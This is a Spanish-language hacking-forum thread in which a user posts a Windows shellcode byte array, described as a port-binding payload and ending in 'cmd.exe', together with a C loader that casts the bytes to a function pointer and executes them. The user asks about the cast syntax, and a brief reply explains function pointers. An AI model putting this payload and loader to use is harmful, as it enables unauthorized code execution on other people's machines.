elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  No comprendo la sección del main() que se necesita para ejecutar Opcodes en hexa
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: No comprendo la sección del main() que se necesita para ejecutar Opcodes en hexa  (Leído 1,776 veces)
Skali

Desconectado Desconectado

Mensajes: 100



Ver Perfil
No comprendo la sección del main() que se necesita para ejecutar Opcodes en hexa
« en: 19 Octubre 2015, 06:52 am »

Hola gente! No puedo entender la sintaxis de las lineas del main(), éstas lineas son necesarias para ejecutar el shellcode  (éste sirve para hacer bind a un puerto en Windows). No entiendo el uso de los paréntesis ni los punteros, ni los casts (escritos con esa sintaxis), si me ayudaran a entender se los agradecería! Saludos


Código
  1. char shellcode[] =      "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  2.                           "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  3.                           "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  4.                           "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  5.                           "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  6.                           "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  7.                           "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  8.                           "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  9.                           "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  10.                           "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
  11.                           "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
  12.                           "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
  13.                           "\x00\x53\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
  14.  
  15.  
  16.  
  17.  
  18.  
  19. int main(int argc, char **argv)
  20. {
  21.    int (*func)();
  22.    func = (int (*)()) shellcode;
  23.    (int)(*func)();
  24.     return 0;
  25. }
  26.  


« Última modificación: 19 Octubre 2015, 07:02 am por Skali » En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: No comprendo la sección del main() que se necesita para ejecutar Opcodes en hexa
« Respuesta #1 en: 19 Octubre 2015, 09:31 am »

Tienes un puntero a función, y le asignas al puntero, la dirección de la función en hex.
El cast, no es  más que un cast a función.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
main para unicode [solucionado]
Programación C/C++
kworld 0 1,589 Último mensaje 1 Junio 2010, 11:40 am
por kworld
Ejercutar main desde otro main. « 1 2 »
Programación C/C++
arcanu 10 6,504 Último mensaje 10 Septiembre 2010, 20:13 pm
por arcanu
Volver a ejecutar una clase main
Programación C/C++
Danyel_Casvill 5 7,424 Último mensaje 6 Febrero 2011, 22:49 pm
por BlackZeroX
[cagada]: gcc main.c -o main.c. posibilidad de recuperar codigo fuente??
Programación C/C++
xiruko 5 4,235 Último mensaje 3 Agosto 2012, 06:29 am
por xiruko
Kodi dice que necesita un VPN para entrar en una sección del plugin Iberia, que
Dudas Generales
win_7 0 1,833 Último mensaje 15 Agosto 2020, 09:25 am
por win_7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines